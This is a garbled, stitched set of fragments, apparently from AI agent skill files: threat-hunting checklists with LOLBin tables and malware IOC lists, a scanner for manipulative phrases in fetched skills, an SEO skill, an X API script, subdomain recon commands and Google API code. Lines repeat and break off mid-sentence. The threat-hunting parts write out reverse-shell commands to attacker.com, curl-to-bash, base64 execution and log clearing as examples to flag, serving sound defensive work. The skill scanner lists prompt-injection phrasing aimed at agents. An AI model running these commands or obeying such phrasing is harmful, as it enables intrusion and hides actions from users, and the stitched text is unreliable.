| `rundll32.exe` | `rundll32 \\live.sysinternals.com\...` or `rundll32 javascript:"...\..."` | Should only run local DLLs with known exports | | `regsvr32.exe` | `regsvr32 /s /u /i:http://...` | "Squiblydoo" - bypasses AppLocker | | `mshta.

| `regsvr32.exe` | `regsvr32 /s /u /i:http://...` | "Squiblydoo" - bypasses AppLocker |

| `mshta.exe` | `mshta.exe http://...` | HTML Application from URL | | `certutil.exe` | `certutil -decode b64file.txt output.exe` | Base64 decode to executable | | `bitsadmin.exe` | `bitsadmin /transfer job http://...` | Download to disk |

| `certutil.exe` | `certutil -decode b64file.txt output.exe` | Base64 decode to executable | | `bitsadmin.exe` | `bitsadmin /transfer job http://...` | Download to disk | | `wmic.exe` | `wmic process call create "powershell.exe -enc..."` | 

| `bitsadmin.exe` | `bitsadmin /transfer job http://...` | Download to disk |

| `wmic.exe` | `wmic process call create "powershell.exe -enc..."` | Process creation evasion | | `msiexec.exe` | `msiexec /quiet /i http://...` | Remote MSI install | | `odbcconf.exe` | `odbcconf /a {REGSVR \\attacker.com\...dll}` | DLL ex

| `msiexec.exe` | `msiexec /quiet /i http://...` | Remote MSI install |

### netcat (nc / ncat)

- **Legit:** Network testing, sysadmin connectivity checks, data transfer - **Malicious:** `nc -e /bin/bash IP PORT` (reverse shell), `nc -lvp PORT` (listener) - **Verdict:** Flag if found with `-e /bin/bash`, `-e cmd.exe`, or listening on 

- **Malicious:** `nc -e /bin/bash IP PORT` (reverse shell), `nc -lvp PORT` (listener)

- **Malicious:** `nc -e /bin/bash IP PORT` (reverse shell), `nc -lvp PORT` (listener)

- **Legit:** Many legit apps use base64 for data encoding (JWT, API params) - **Malicious:** Encoded payloads in PowerShell `-enc`, encoded URLs in curl/wget - **Verdict:** Flag if base64 in `-enc` arg to PowerShell, or decodes to shellcode

2. **LaunchAgent with script path** (High) + **script contains curl|bash** (Critical) = **CRITICAL - active persistence**

3. **New user account** (Medium) + **added to sudo group** (High) + **created outside business hours** (Low-Medium) = **HIGH - unauthorized account creation**

| Campaign (aliases) | Type | High-signal IOCs (defanged) | Source | |---|---|---|---| | **The Gentlemen** (TukTuk C2 framework) | Cross-platform C2 agent (paired with a Windows ransomware toolkit) | **Linux agent:** TukTuk agent retrieves 

|---|---|---|---| | **The Gentlemen** (TukTuk C2 framework) | Cross-platform C2 agent (paired with a Windows ransomware toolkit) | **Linux agent:** TukTuk agent retrieves commands via a `poll()` loop (delivered in `tuktuk-v2.0_10.zip`, SHA2

| **The Gentlemen** (TukTuk C2 framework) | Cross-platform C2 agent (paired with a Windows ransomware toolkit) | **Linux agent:** TukTuk agent retrieves commands via a `poll()` loop (delivered in `tuktuk-v2.0_10.zip`, SHA256 `e7408841…681f9

| **XMRig PAM botnet** ("PRIVATE VERSION FOR BOTNET") | Cryptomining botnet; PAM-abuse lateral movement + anti-forensics | **XMRig fork:** custom banner `PRIVATE VERSION FOR BOTNET` (XMRig 6.25.0, musl-static); SHA256 `55c67c84…8796f838`, M

| **Atomic Arch** (AUR + npm supply-chain) | Supply-chain infostealer + eBPF rootkit via hijacked packages | **Hijacked AUR packages:** `alvr`, `premake-git` (400+ total)<br>**npm droppers:** `atomic-lockfile@1.4.2`, `js-digest` (via `bun i

| **perfctl** | Stealthy cryptominer + rootkit, mass-exploits exposed Linux servers | **Userland rootkit:** `libgcwrap.so` loaded via `/etc/ld.so.preload`<br>**Trojanized binaries:** `ldd`, `top`, `crontab`, `lsof` (replaced to hide activit

| **XZ Utils backdoor** (CVE-2024-3094) | Supply-chain backdoor in `liblzma`, hooks OpenSSH auth via systemd | **Affected versions:** XZ Utils / `liblzma` **5.6.0** and **5.6.1** (`xz --version`, `rpm -q xz` / `dpkg -l liblzma5`)<br>**Build

| Campaign (aliases) | Type | High-signal IOCs (defanged) | Source | |---|---|---|---| | **Atomic macOS Stealer** (AMOS) | Infostealer + persistent backdoor, via cracked apps, fake installer `.dmg`, and `curl \| bash` terminal lures | **Per

|---|---|---|---| | **Atomic macOS Stealer** (AMOS) | Infostealer + persistent backdoor, via cracked apps, fake installer `.dmg`, and `curl \| bash` terminal lures | **Persistence (LaunchDaemon):** `/Library/LaunchDaemons/com.finder.helper.

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

| **Fake Maccy Stealer** | Infostealer masquerading as the Maccy clipboard app (SEO poisoning) | **Persistence (Login Items, not LaunchAgent):** registers via `LSSharedFileList` / `SMAppService` APIs<br>**Bundle id:** `com.apple.finder.moni

| **Sapphire Sleet** (DPRK state actor) | Targeted crypto-theft; fake-recruiter `.scpt` lures → `curl`-to-`osascript` backdoor chain | **Lure files (`.scpt`):** `Zoom SDK Update.scpt`, `MSTeams SDK Update.scpt` (opened in Script Editor)<br>

| Campaign (aliases) | Type | High-signal IOCs (defanged) | Source | |---|---|---|---| | **Silver Fox** (Yinhu / 银狐) | Counterfeit-installer → RAT, via SEO-poisoned fake software download sites | **Scheduled tasks (very distinctive):** `\De

|---|---|---|---| | **Silver Fox** (Yinhu / 银狐) | Counterfeit-installer → RAT, via SEO-poisoned fake software download sites | **Scheduled tasks (very distinctive):** `\Deadline Mission Target`, `\Hierarchy Tools Smooth Inventory`, `\Empowe

| **Silver Fox** (Yinhu / 银狐) | Counterfeit-installer → RAT, via SEO-poisoned fake software download sites | **Scheduled tasks (very distinctive):** `\Deadline Mission Target`, `\Hierarchy Tools Smooth Inventory`, `\Empowering Status Tools 

| **The Gentlemen** (TukTuk C2 framework) | Human-operated ransomware; BYOVD EDR-killer + DLL sideloading | **BYOVD drivers:** `eb.sys` (GentleKiller variant, SHA256 `97BD65E9…3B1BE091`), `wsftprm.sys`<br>**Loader / C2 agent:** `TukTuk.exe`

| **Reynolds ransomware** | Ransomware with embedded BYOVD EDR-killer | **BYOVD driver:** NsecSoft `NSecKrnl` bundled inside the payload (CVE-2025-68947, terminates arbitrary AV/EDR processes)<br>**Post-exploit RAT:** `GotoHTTP` remote-acce

| **DeadLock ransomware** | Ransomware; BYOVD via vulnerable Baidu AV driver | **BYOVD driver:** `BdApiUtil.sys` (Baidu, CVE-2024-51324) dropped as `DriverGay.sys`<br>**EDR-killer loader:** `EDRGay.exe`<br>**Dropped:** `.cmd` script in `C:\

sudo crontab -l 2>/dev/null

cron=$(sudo crontab -l -u "$user" 2>/dev/null)

**Flag:** - Entries downloading + executing: `curl http://... | bash`, `wget -O- ... | sh`

- Entries downloading + executing: `curl http://... | bash`, `wget -O- ... | sh`

- Entries downloading + executing: `curl http://... | bash`, `wget -O- ... | sh`

**Flag:** - `alias` shadowing system tools (`alias sudo='sudo nc -e /bin/bash attacker.com 4444'`)

- `alias` shadowing system tools (`alias sudo='sudo nc -e /bin/bash attacker.com 4444'`)

- `alias` shadowing system tools (`alias sudo='sudo nc -e /bin/bash attacker.com 4444'`)

[Credential-related source omitted]

- `/etc/sudoers` recently modified - sudo privilege added

getent group sudo 2>/dev/null

# Users with sudo access (T2)

sudo cat /etc/sudoers 2>/dev/null

sudo ls /etc/sudoers.d/ 2>/dev/null

**Tier:** T2 (sudo required)

sudo tail -100 /var/log/auth.log 2>/dev/null | grep -E "Failed|Invalid|Accepted|sudo"

sudo tail -100 /var/log/secure 2>/dev/null | grep -E "Failed|Invalid|Accepted|sudo"

sudo journalctl -u sshd --since "24 hours ago" --no-pager 2>/dev/null | tail -50

sudo journalctl -u sudo --since "24 hours ago" --no-pager 2>/dev/null | tail -30

**Tier:** T2 (sudo required)

sudo dmesg | tail -300 | grep -E "insmod|rmmod|module|loaded|unloaded" 2>/dev/null

sudo journalctl -k --since "24 hours ago" --no-pager 2>/dev/null | grep -iE "module|insmod|rmmod" | head -30

**Tier:** T2 (sudo required)

sudo bpftool prog list 2>/dev/null

sudo bpftool map list 2>/dev/null

**Flag:** - Download + execute: `curl http://... | bash`, `wget -q -O- ... | sh`

- Download + execute: `curl http://... | bash`, `wget -q -O- ... | sh`

- Download + execute: `curl http://... | bash`, `wget -q -O- ... | sh`

- Base64 decode + execute: `echo "..." | base64 -d | bash`

- `rm -rf /var/log`, `echo "" > /var/log/auth.log` - log clearing

grep -E "(base64|python.*decode|perl.*unpack|eval\(|exec\()" ~/.bash_history 2>/dev/null grep -E "(curl|wget).*(bash|sh|python|perl)" ~/.bash_history 2>/dev/null grep -E "nc\s+-[el]|ncat\s+-[el]|/dev/tcp/" ~/.bash_history 2>/dev/null

grep -E "(curl|wget).*(bash|sh|python|perl)" ~/.bash_history 2>/dev/null

grep -E "(curl|wget).*(bash|sh|python|perl)" ~/.bash_history 2>/dev/null grep -E "nc\s+-[el]|ncat\s+-[el]|/dev/tcp/" ~/.bash_history 2>/dev/null grep -E "chmod\s+[0-9]*\s+/tmp|chmod\s+\+x\s+/tmp" ~/.bash_history 2>/dev/null

grep -E "nc\s+-[el]|ncat\s+-[el]|/dev/tcp/" ~/.bash_history 2>/dev/null

grep -E "nc\s+-[el]|ncat\s+-[el]|/dev/tcp/" ~/.bash_history 2>/dev/null

sudo auditctl -l 2>/dev/null

sudo ausearch -ts recent 2>/dev/null | tail -50

| Executable in `/tmp` running as root | Critical | Severe indicator | | Shell spawned from web server process | Critical | Web shell exploitation confirmed | | Cron job with `curl \| bash` pattern | Critical | Download and execute - active

| Shell spawned from web server process | Critical | Web shell exploitation confirmed | | Cron job with `curl \| bash` pattern | Critical | Download and execute - active C2 or installer | | SUID binary outside standard paths | High | Potent

| Cron job with `curl \| bash` pattern | Critical | Download and execute - active C2 or installer |

| Cron job with `curl \| bash` pattern | Critical | Download and execute - active C2 or installer |

| New sudo user added | Medium | Could be legitimate IT action or escalation |

sudo crontab -l

**Flag:** - Cron running scripts from home dirs, `/tmp`, or unusual paths - `curl | bash` or `wget -O- | sh` patterns - download and execute

- Cron running scripts from home dirs, `/tmp`, or unusual paths - `curl | bash` or `wget -O- | sh` patterns - download and execute - Very frequent schedules on unknown tasks (every minute, every 5 min)

- `curl | bash` or `wget -O- | sh` patterns - download and execute

- `curl | bash` or `wget -O- | sh` patterns - download and execute

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

**Tier:** T2 (sudo required)

sudo log show --predicate 'eventMessage contains "authentication"' --last 4h --style compact 2>/dev/null | head -50

# sudo usage

sudo log show --predicate 'eventMessage contains "sudo"' --last 24h --style compact 2>/dev/null | head -50

sudo log show --predicate 'eventMessage contains "sshd"' --last 24h --style compact 2>/dev/null | head -50

sudo log show --predicate 'eventMessage contains "failed" AND eventMessage contains "authentication"' --last 24h --style compact 2>/dev/null | head -30

**Flag:** - `curl`/`wget` piped to `bash`/`sh` - Download + execute: `curl -o /tmp/x http://... && chmod +x /tmp/x && /tmp/x`

- `curl`/`wget` piped to `bash`/`sh` - Download + execute: `curl -o /tmp/x http://... && chmod +x /tmp/x && /tmp/x` - Base64 decode + execute: `echo "..." | base64 -d | bash`

- Download + execute: `curl -o /tmp/x http://... && chmod +x /tmp/x && /tmp/x`

- Base64 decode + execute: `echo "..." | base64 -d | bash`

**Tier:** T2 (sudo required)

sudo log show --predicate 'eventMessage contains "XProtect"' --last 24h --style compact 2>/dev/null | head -30

sudo log show --predicate 'eventMessage contains "MRT"' --last 24h --style compact 2>/dev/null | head -30

sudo log show --predicate 'subsystem == "com.apple.securityd"' --last 4h --style compact 2>/dev/null | head -50

sudo sqlite3 "/Library/Application Support/com.apple.TCC/TCC.db" \

- `wscript.exe`/`cscript.exe` with scripts from `%TEMP%` or `%APPDATA%` - `rundll32.exe` with unusual DLL paths (not `System32`) - `regsvr32.exe /s /u /i:http://...` - Squiblydoo technique

- `rundll32.exe` with unusual DLL paths (not `System32`) - `regsvr32.exe /s /u /i:http://...` - Squiblydoo technique - `mshta.exe` with URL argument - HTML App execution

- `regsvr32.exe /s /u /i:http://...` - Squiblydoo technique

[Credential-related source omitted]

- Shell invocation: bash -c, sh -c, eval, exec, subprocess, os.system, child_process - Pipe to shell: curl piped to bash, wget piped to sh, in any spacing or flag order

- Pipe to shell: curl piped to bash, wget piped to sh, in any spacing or flag order

[Credential-related source omitted]

grep -rniE 'fetch (and|then) (follow|run|execute|apply)|download .* and (run|execute)|read .* then follow|instructions? (at|from) (this )?(url|link)' "$TARGET"

| already approved, pre-authorized | Almost none in a fetched skill | high | | no need to ask, do not confirm | A skill reducing prompts for genuinely read-only steps | high when it covers writes, network, or credentials | | do not mention,

| no need to ask, do not confirm | A skill reducing prompts for genuinely read-only steps | high when it covers writes, network, or credentials | | do not mention, do not tell the user | None | high, always | | this skill is trusted, verifi

| do not mention, do not tell the user | None | high, always |

[Credential-related source omitted]

| --- | --- | --- | | bash -c, eval, subprocess | Any skill that legitimately runs tooling | low alone, high when the command string is assembled or fetched | | curl piped to shell | None that justify it inside a skill file | high, always |

| bash -c, eval, subprocess | Any skill that legitimately runs tooling | low alone, high when the command string is assembled or fetched | | curl piped to shell | None that justify it inside a skill file | high, always | | package install |

| curl piped to shell | None that justify it inside a skill file | high, always |

- Go to https://schema.org/docs/schemas.html and browse schemas we should use, as well as breadcrumbs, for rich results and JSON-LD content for search engines

- Drive a browser to https://www.seoptimer.com/ and run a free login-less site audit and apply all code adjustments to satisfy and get a top score (has 3 attempts a day, alternative fallback to https://www.seobility.net/en/seocheck)

- Use the Open Graph checker https://www.opengraph.xyz/ to ensure that when sites are sent over social media, Open Graph is optimized per page or important page we are sharing in-app.

- Check for llms.txt - and concisely create one if missing. - Ensure correctly generating sitemap.xml (with entries that won’t lower our score) - Use a browser driver to go to https://search.google.com/ and ensure the site is listed on Goog

- Ensure correctly generating sitemap.xml (with entries that won’t lower our score) - Use a browser driver to go to https://search.google.com/ and ensure the site is listed on Google Search Console as an asset, the sitemap is submitted late

- Use a browser driver to go to https://search.google.com/ and ensure the site is listed on Google Search Console as an asset, the sitemap is submitted lately, and inspect any page issues and fix them.

- Adapt keywords per page for the content and highly optimize for specific search queries (best if you consult with the user on what you think is the right set) - Ensure accessibility, privacy, terms, are applied to high extend (unless the 

- Ensure accessibility, privacy, terms, are applied to high extend (unless the user opts out of privacy/terms) to best results - Also use LightHouse for page speed insights https://pagespeed.web.dev/analysis - If the site is on Cloudflare, 

- Also use LightHouse for page speed insights https://pagespeed.web.dev/analysis

3. Print to the user 10 (or more) top items you think are the core points to base the new skill upon 4. Consult with the user if questions still remain 5. Create a skill and place it on the ~/.claude/skills/ directory. comply to agent skill

5. Create a skill and place it on the ~/.claude/skills/ directory. comply to agent skill format and [https://code.claude.com/docs/en/skills](https://code.claude.com/docs/en/skills)

- Spacing - paragraph contextual spacing (new lines) bullets when making sense etc. - NEVER use em-dashes or AI-slop-giveaways - Refer to https://en.wikipedia.org/wiki/Wikipedia:Signs_of_AI_writing#Language_and_grammar to avoid extra heuris

- Refer to https://en.wikipedia.org/wiki/Wikipedia:Signs_of_AI_writing#Language_and_grammar to avoid extra heuristics that can indicate AI like grammar tendencies

[Credential-related source omitted]

[Credential-related source omitted]

1. Sign in at <https://developer.x.com/en/portal/dashboard>.

#!/usr/bin/env python3

#!/usr/bin/env python3

"urls": [e.get("expanded_url") for e in                          t.get("entities", {}).get("urls", []) if e.get("expanded_url")],                 "link": f"https://x.com/{u['username']}/status/{t['id']}",

t.get("entities", {}).get("urls", []) if e.get("expanded_url")],                 "link": f"https://x.com/{u['username']}/status/{t['id']}",             })

"link": f"https://x.com/{u['username']}/status/{t['id']}",

#!/usr/bin/env python3

[Credential-related source omitted]

API = "https://api.twitter.com"

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

basic = base64.b64encode(f"{key}:{secret}".encode()).decode()         req = urllib.request.Request(             f"{API}/oauth2/token", data=b"grant_type=client_credentials",

req = urllib.request.Request(

"Content-Type": "application/x-www-form-urlencoded"})         try:             self.bearer = json.load(urllib.request.urlopen(req))["access_token"]

try:             self.bearer = json.load(urllib.request.urlopen(req))["access_token"]         except urllib.error.HTTPError as e:

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

for attempt in range(4):             try:                 return json.load(urllib.request.urlopen(req))

try:                 return json.load(urllib.request.urlopen(req))             except urllib.error.HTTPError as e:

return json.load(urllib.request.urlopen(req))

- For videos Explicitly use HyperFrames and their studio app locally. - A capture source. Any one of:   - Burp proxy history over the `reburp` REST API (`http://127.0.0.1:9090`) for the real HTTP request and response behind a step. See the 

- A capture source. Any one of:   - Burp proxy history over the `reburp` REST API (`http://127.0.0.1:9090`) for the real HTTP request and response behind a step. See the `burp-interaction` usage if present.   - A browser you can drive and s

- Burp proxy history over the `reburp` REST API (`http://127.0.0.1:9090`) for the real HTTP request and response behind a step. See the `burp-interaction` usage if present.

curl -s "https://crt.sh/?q=%.example.com&output=json"    | python3 -c "import sys,json; [print(e['name_value']) for e in json.load(sys.stdin)]"

curl -s "https://crt.sh/?q=%.example.com&output=json" \

curl -s "https://api.hackertarget.com/hostsearch/?q=example.com" | cut -d',' -f1 | sort -u

curl -s "https://web.archive.org/cdx/search/cdx?url=*.example.com&output=text&fl=original&collapse=urlkey" \

curl -s "https://urlscan.io/api/v1/search/?q=domain:example.com&size=100"    | python3 -c "import sys,json; d=json.load(sys.stdin); [print(r['page']['domain']) for r in d.get('results',[])]"

curl -s "https://urlscan.io/api/v1/search/?q=domain:example.com&size=100" \

curl -s "https://rapiddns.io/subdomain/example.com?full=1" \

curl -s "https://otx.alienvault.com/api/v1/indicators/domain/example.com/passive_dns"    | python3 -c "import sys,json; [print(r.get('hostname','')) for r in json.load(sys.stdin).get('passive_dns',[])]"

curl -s "https://otx.alienvault.com/api/v1/indicators/domain/example.com/passive_dns" \

collect_headers() {   local sub=$1   local result=$(curl -sk -o /dev/null \

local sub=$1   local result=$(curl -sk -o /dev/null \     --max-time 10 \

local result=$(curl -sk -o /dev/null \

-D - \     -A "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36" \     "https://$sub" 2>/dev/null | head -80)

"https://$sub" 2>/dev/null | head -80)

location: https://launcher.myapps.microsoft.com/api/signin/APP_ID?tenantId=TENANT_UUID

curl -sI https://app.example.com | grep -iE 'via|x-amz|x-cache|server'

const targets = [   'https://app.example.com',

'https://app.example.com',

for host in direct-ip-1 direct-ip-2; do   for port in 80 443 8080 8443 3000 4443; do     result=$(curl -sk --max-time 5 -o /dev/null -w "%{http_code}" \

for port in 80 443 8080 8443 3000 4443; do     result=$(curl -sk --max-time 5 -o /dev/null -w "%{http_code}" \       "$([ $port = 443 ] || [ $port = 8443 ] && echo https || echo http)://$host:$port/")

result=$(curl -sk --max-time 5 -o /dev/null -w "%{http_code}" \

heading_id = para["paragraphStyle"]["headingId"]  # e.g. "h.vbzwjo2n54rj" url = f"https://docs.google.com/document/d/{DOC_ID}/edit#heading={heading_id}"

url = f"https://docs.google.com/document/d/{DOC_ID}/edit#heading={heading_id}"

#!/usr/bin/env python3

{                     "iss": key_data["client_email"],                     "scope": "https://www.googleapis.com/auth/drive",

"iss": key_data["client_email"],                     "scope": "https://www.googleapis.com/auth/drive",                     "aud": "https://oauth2.googleapis.com/token",

"scope": "https://www.googleapis.com/auth/drive",

"aud": "https://oauth2.googleapis.com/token",

{"grant_type": "urn:ietf:params:oauth:grant-type:jwt-bearer", "assertion": jwt}     ).encode()     req = urllib.request.Request("https://oauth2.googleapis.com/token", data=data)

).encode()     req = urllib.request.Request("https://oauth2.googleapis.com/token", data=data)     return json.loads(urllib.request.urlopen(req, context=ssl_ctx).read())[